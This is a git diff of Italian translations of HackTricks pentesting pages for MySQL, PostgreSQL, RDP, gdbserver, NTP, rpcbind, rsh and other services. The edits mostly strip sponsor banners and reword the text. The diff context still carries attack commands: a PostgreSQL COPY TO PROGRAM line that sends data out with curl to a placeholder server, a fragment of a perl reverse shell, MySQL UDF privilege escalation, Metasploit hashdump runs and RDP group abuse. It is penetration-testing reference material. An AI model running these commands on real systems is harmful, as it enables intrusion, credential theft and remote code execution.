a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,15 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina. - -{% embed url="https://www.rootedcon.com/" %} - ## **Informazioni di base** -**MySQL** può essere descritto come un sistema di gestione di database relazionali (RDBMS) open source disponibile senza costi. Funziona sul **Structured Query Language (SQL)**, consentendo la gestione e la manipolazione dei database. +**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona sul **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. **Porta predefinita:** 3306 ``` @@ -135,11 +129,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ​ -
-​​[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina. - -{% embed url="https://www.rootedcon.com/" %} ## POST @@ -181,9 +171,9 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori) puoi farlo eseguire comandi. Per questo, devi usare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql. +Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori), puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql. -La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno. +La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno. Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**: ```bash @@ -619,10 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -
- -[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 937a2d339..c5c85e2a7 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,35 +2,20 @@ {{#include ../banners/hacktricks-training.md}} -
+## Informazioni di base -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! +Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino i loro orologi in modo accurato. È fondamentale per mantenere una precisa misurazione del tempo nelle operazioni IT, nella sicurezza e nel logging. L'accuratezza di NTP è essenziale, ma comporta anche rischi per la sicurezza se non gestita correttamente. -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking +### Riepilogo e suggerimenti per la sicurezza: -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - -## Basic Information - -Il **Network Time Protocol (NTP)** garantisce che computer e dispositivi di rete su reti a latenza variabile sincronizzino i loro orologi con precisione. È fondamentale per mantenere una misurazione del tempo precisa nelle operazioni IT, nella sicurezza e nel logging. L'accuratezza di NTP è essenziale, ma comporta anche rischi per la sicurezza se non gestita correttamente. - -### Summary & Security Tips: - -- **Purpose**: Sincronizza gli orologi dei dispositivi attraverso le reti. -- **Importance**: Critico per la sicurezza, il logging e le operazioni. -- **Security Measures**: +- **Scopo**: Sincronizza gli orologi dei dispositivi su reti. +- **Importanza**: Critico per la sicurezza, il logging e le operazioni. +- **Misure di sicurezza**: - Utilizzare fonti NTP affidabili con autenticazione. - Limitare l'accesso alla rete del server NTP. - Monitorare la sincronizzazione per segni di manomissione. -**Default port:** 123/udp +**Porta predefinita:** 123/udp ``` PORT STATE SERVICE REASON 123/udp open ntp udp-response @@ -86,19 +71,4 @@ Name: Nmap Description: Enumerate NTP Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP} ``` -
- -Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 9e1e5a214..0c14f8203 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,18 +1,11 @@ # 5432,5433 - Pentesting Postgresql -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari** **più avanzati** al mondo.\ -Ottieni accesso oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {{#include ../banners/hacktricks-training.md}} -## **Informazioni di base** +## **Informazioni di Base** -**PostgreSQL** è descritto come un **sistema di database oggetto-relazionale** che è **open source**. Questo sistema non solo utilizza il linguaggio SQL, ma lo migliora anche con funzionalità aggiuntive. Le sue capacità gli consentono di gestire un'ampia gamma di tipi di dati e operazioni, rendendolo una scelta versatile per sviluppatori e organizzazioni. +**PostgreSQL** è descritto come un **sistema di database oggetto-relazionale** che è **open source**. Questo sistema non solo utilizza il linguaggio SQL ma lo arricchisce anche con funzionalità aggiuntive. Le sue capacità gli consentono di gestire un'ampia gamma di tipi di dati e operazioni, rendendolo una scelta versatile per sviluppatori e organizzazioni. **Porta predefinita:** 5432, e se questa porta è già in uso sembra che postgresql utilizzerà la porta successiva (probabilmente 5433) che non è in uso. ``` @@ -125,7 +118,7 @@ In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tut | rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare e rimuovere slot di replica. | | rolconnlimit | Per i ruoli che possono accedere, questo imposta il numero massimo di connessioni concorrenti che questo ruolo può effettuare. -1 significa nessun limite. | | rolpassword | Non la password (legge sempre come `********`) | -| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); null se non c'è scadenza | +| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); null se non c'è scadenza | | rolbypassrls | Il ruolo ignora ogni politica di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. | | rolconfig | Valori predefiniti specifici per il ruolo per le variabili di configurazione a runtime | | oid | ID del ruolo | @@ -217,7 +210,7 @@ SELECT * FROM pg_proc; ``` ## Azioni sul file system -### Leggere directory e file +### Leggi directory e file Da questo [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) i membri del gruppo definito **`DEFAULT_ROLE_READ_SERVER_FILES`** (chiamato **`pg_read_server_files`**) e **super utenti** possono utilizzare il metodo **`COPY`** su qualsiasi percorso (controlla `convert_and_check_filename` in `genfile.c`): ```sql @@ -287,13 +280,7 @@ Tuttavia, ci sono **altre tecniche per caricare grandi file binari:** ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} -## - -**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -### Aggiornamento dei dati della tabella PostgreSQL tramite scrittura di file locali +### Aggiornamento dei dati della tabella PostgreSQL tramite scrittura su file locale Se hai i permessi necessari per leggere e scrivere file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server **sovrascrivendo il nodo file associato** nella [directory dei dati di PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Ulteriori informazioni su questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -351,7 +338,7 @@ python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) -6. Ricarica il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco +6. Ricarica il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale su disco ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) @@ -372,7 +359,7 @@ Puoi anche diventare un superadmin modificando la tabella `pg_authid`. **Vedi** ### **RCE per programma** -Dalla [versione 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo **super utenti** e membri del gruppo **`pg_execute_server_program`** possono usare copy per RCE (esempio con esfiltrazione: +Dal [versione 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo **super utenti** e membri del gruppo **`pg_execute_server_program`** possono usare copy per RCE (esempio con esfiltrazione: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` @@ -399,7 +386,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**Ulteriori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Oppure usa il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` di **metasploit**.\ -Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene riportata come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretta](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene sia stata segnalata come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretta](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE con i linguaggi PostgreSQL @@ -556,7 +543,7 @@ Gli utenti con questo ruolo possono anche **cambiare** le **password** di altri #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` -#### Privesc to SUPERUSER +#### Privesc a SUPERUSER È piuttosto comune scoprire che **gli utenti locali possono accedere a PostgreSQL senza fornire alcuna password**. Pertanto, una volta che hai ottenuto **permessi per eseguire codice**, puoi abusare di questi permessi per concederti il ruolo di **`SUPERUSER`**: ```sql @@ -566,7 +553,7 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER > Questo è solitamente possibile a causa delle seguenti righe nel file **`pg_hba.conf`**: > > ```bash -> # "local" è solo per connessioni a socket di dominio Unix +> # "local" è solo per connessioni tramite socket di dominio Unix > local all all trust > # Connessioni locali IPv4: > host all all 127.0.0.1/32 trust @@ -582,7 +569,7 @@ Quando provi a **rendere un altro utente proprietario di una tabella** dovresti
-Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario** della **tabella**. È possibile creare un indice con una funzione e dare permessi di proprietario a un **super user** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario. +Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario** della **tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super user** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -656,7 +643,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Funzione definita personalizzata con** SECURITY DEFINER -[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono stati in grado di privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**: +[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**: 
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -703,7 +690,7 @@ E poi **eseguire comandi**:
 > [!NOTE]
 > Il seguente vettore di privesc è particolarmente utile in contesti SQLi ristretti, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT annidate
 
-Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
+Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superuser** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
 
 Leggi di più su **questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
 
@@ -752,16 +739,8 @@ string pgadmin4.db
 ```
 ### pg_hba
 
-L'autenticazione dei client in PostgreSQL è gestita tramite un file di configurazione chiamato **pg_hba.conf**. Questo file contiene una serie di record, ciascuno dei quali specifica un tipo di connessione, un intervallo di indirizzi IP del client (se applicabile), il nome del database, il nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso è negato.
+L'autenticazione del client in PostgreSQL è gestita tramite un file di configurazione chiamato **pg_hba.conf**. Questo file contiene una serie di record, ciascuno dei quali specifica un tipo di connessione, un intervallo di indirizzi IP del client (se applicabile), il nome del database, il nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso è negato.
 
 I metodi di autenticazione basati su password disponibili in pg_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono nel modo in cui la password viene trasmessa: hashata MD5, crittografata con crypt o in chiaro. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg_authid.
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\
-Ottieni accesso oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md
index 04a00b90b..3346481ea 100644
--- a/src/network-services-pentesting/pentesting-rdp.md
+++ b/src/network-services-pentesting/pentesting-rdp.md
@@ -2,13 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Informazioni di base
 
@@ -53,14 +46,6 @@ rdp_check.py di impacket ti consente di verificare se alcune credenziali sono va
 ```bash
 rdp_check /:@
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 ## **Attacchi**
 
 ### Furto di sessione
@@ -102,7 +87,7 @@ Se qualcuno di un dominio diverso o con **privilegi migliori accede via RDP** al
 ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
 {{#endref}}
 
-### Adding User to RDP group
+### Aggiungere utente al gruppo RDP
 ```bash
 net localgroup "Remote Desktop Users" UserLoginName /add
 ```
@@ -110,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
 
 - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
 
-**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
+**AutoRDPwn** è un framework di post-exploitation creato in Powershell, progettato principalmente per automatizzare l'attacco **Shadow** sui computer Microsoft Windows. Questa vulnerabilità (elencata come una funzionalità da Microsoft) consente a un attaccante remoto di **visualizzare il desktop della sua vittima senza il suo consenso**, e persino di controllarlo su richiesta, utilizzando strumenti nativi del sistema operativo stesso.
 
 - [**EvilRDP**](https://github.com/skelsec/evilrdp)
 - Controlla il mouse e la tastiera in modo automatizzato dalla riga di comando
@@ -138,12 +123,4 @@ Name: Nmap
 Description: Nmap with RDP Scripts
 Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-remote-gdbserver.md b/src/network-services-pentesting/pentesting-remote-gdbserver.md
index 8c96b9e45..4d593f413 100644
--- a/src/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/src/network-services-pentesting/pentesting-remote-gdbserver.md
@@ -2,17 +2,9 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 ## **Informazioni di Base**
 
-**gdbserver** è uno strumento che consente il debug di programmi da remoto. Funziona insieme al programma che necessita di debug sullo stesso sistema, noto come "target." Questa configurazione consente al **GNU Debugger** di connettersi da un'altra macchina, l'"host," dove sono memorizzati il codice sorgente e una copia binaria del programma in fase di debug. La connessione tra **gdbserver** e il debugger può avvenire tramite TCP o una linea seriale, consentendo configurazioni di debug versatili.
+**gdbserver** è uno strumento che consente il debug di programmi da remoto. Viene eseguito insieme al programma che necessita di debug sullo stesso sistema, noto come "target." Questa configurazione consente al **GNU Debugger** di connettersi da un'altra macchina, l'"host," dove sono memorizzati il codice sorgente e una copia binaria del programma in fase di debug. La connessione tra **gdbserver** e il debugger può essere effettuata tramite TCP o una linea seriale, consentendo configurazioni di debug versatili.
 
 Puoi far **ascoltare gdbserver su qualsiasi porta** e al momento **nmap non è in grado di riconoscere il servizio**.
 
@@ -45,7 +37,7 @@ run
 ```
 ### Eseguire comandi arbitrari
 
-C'è un altro modo per **far eseguire al debugger comandi arbitrari tramite un** [**script personalizzato python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
+C'è un altro modo per **far eseguire al debugger comandi arbitrari tramite un** [**script personalizzato in python preso da qui**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
 ```bash
 # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
 target extended-remote 192.168.1.4:2345
@@ -181,12 +173,4 @@ gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
 
 RemoteCmd()
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-rlogin.md b/src/network-services-pentesting/pentesting-rlogin.md
index c242230a3..d898f70bf 100644
--- a/src/network-services-pentesting/pentesting-rlogin.md
+++ b/src/network-services-pentesting/pentesting-rlogin.md
@@ -2,9 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
 
 ## Informazioni di base
 
@@ -30,8 +27,4 @@ rlogin  -l 
 ```
 find / -name .rhosts
 ```
-

-
-{% embed url="https://websec.nl/" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-rpcbind.md b/src/network-services-pentesting/pentesting-rpcbind.md
index 2ad04cc2c..59adc4be1 100644
--- a/src/network-services-pentesting/pentesting-rpcbind.md
+++ b/src/network-services-pentesting/pentesting-rpcbind.md
@@ -2,10 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-{% embed url="https://websec.nl/" %}
-
 ## Informazioni di base
 
 **Portmapper** è un servizio utilizzato per mappare le porte dei servizi di rete ai numeri di programma **RPC** (Remote Procedure Call). Funziona come un componente critico nei **sistemi basati su Unix**, facilitando lo scambio di informazioni tra questi sistemi. La **porta** associata a **Portmapper** è frequentemente scansionata dagli attaccanti poiché può rivelare informazioni preziose. Queste informazioni includono il tipo di **sistema operativo Unix (OS)** in esecuzione e dettagli sui servizi disponibili sul sistema. Inoltre, **Portmapper** è comunemente utilizzato insieme a **NFS (Network File System)**, **NIS (Network Information Service)** e altri **servizi basati su RPC** per gestire efficacemente i servizi di rete.
@@ -58,8 +54,8 @@ ypcat –d  –h  passwd.byname
 | **Master file**  | **Map(s)**                  | **Notes**                         |
 | ---------------- | --------------------------- | --------------------------------- |
 | /etc/hosts       | hosts.byname, hosts.byaddr  | Contiene nomi host e dettagli IP  |
-| /etc/passwd      | passwd.byname, passwd.byuid | File di password utente NIS       |
-| /etc/group       | group.byname, group.bygid   | File di gruppo NIS                |
+| /etc/passwd      | passwd.byname, passwd.byuid | File password utente NIS          |
+| /etc/group       | group.byname, group.bygid   | File gruppo NIS                   |
 | /usr/lib/aliases | mail.aliases                | Dettagli sugli alias di posta     |
 
 ## RPC Users
@@ -68,7 +64,7 @@ Se trovi il servizio **rusersd** elencato in questo modo:
 
 ![](<../images/image (1041).png>)
 
-Potresti enumerare gli utenti della macchina. Per sapere come leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
+Potresti enumerare gli utenti della macchina. Per sapere come, leggi [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
 
 ## Bypass Filtered Portmapper port
 
@@ -82,10 +78,6 @@ Quando si esegue una **scansione nmap** e si scoprono porte NFS aperte con la po
 
 - Esercitati con queste tecniche nella [**macchina Irked HTB**](https://app.hackthebox.com/machines/Irked).
 
-

-
-{% embed url="https://websec.nl/" %}
-
 ## HackTricks Automatic Commands
 ```
 Protocol_Name: Portmapper    #Protocol Abbreviation if there is one.
diff --git a/src/network-services-pentesting/pentesting-rsh.md b/src/network-services-pentesting/pentesting-rsh.md
index c78dc243c..f6145b9d0 100644
--- a/src/network-services-pentesting/pentesting-rsh.md
+++ b/src/network-services-pentesting/pentesting-rsh.md
@@ -2,28 +2,22 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
-
 ## Informazioni di base
 
 Per l'autenticazione, i file **.rhosts** insieme a **/etc/hosts.equiv** venivano utilizzati da **Rsh**. L'autenticazione dipendeva dagli indirizzi IP e dal Domain Name System (DNS). La facilità di spoofing degli indirizzi IP, in particolare sulla rete locale, rappresentava una vulnerabilità significativa.
 
-Inoltre, era comune che i file **.rhosts** fossero collocati all'interno delle directory home degli utenti, che spesso si trovavano su volumi Network File System (NFS).
+Inoltre, era comune che i file **.rhosts** fossero posizionati all'interno delle directory home degli utenti, che spesso si trovavano su volumi Network File System (NFS).
 
 **Porta predefinita**: 514
 
-## Login
+## Accesso
 ```
 rsh  
 rsh  -l domain\user 
 rsh domain/user@ 
 rsh domain\\user@ 
 ```
-### [**Brute Force**](../generic-hacking/brute-force.md#rsh)
+### [**Forza Bruta**](../generic-hacking/brute-force.md#rsh)
 
 ## Riferimenti
 
diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md
index a50b89cdb..9db7fac3c 100644
--- a/src/network-services-pentesting/pentesting-sap.md
+++ b/src/network-services-pentesting/pentesting-sap.md
@@ -1,30 +1,21 @@
 {{#include ../banners/hacktricks-training.md}}
 
-

+# Introduzione su SAP
 
-{% embed url="https://websec.nl/" %}
+SAP sta per Systems Applications and Products in Data Processing. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) così come il nome dell'azienda. Il sistema SAP è composto da un numero di moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
 
-# Introduzione a SAP
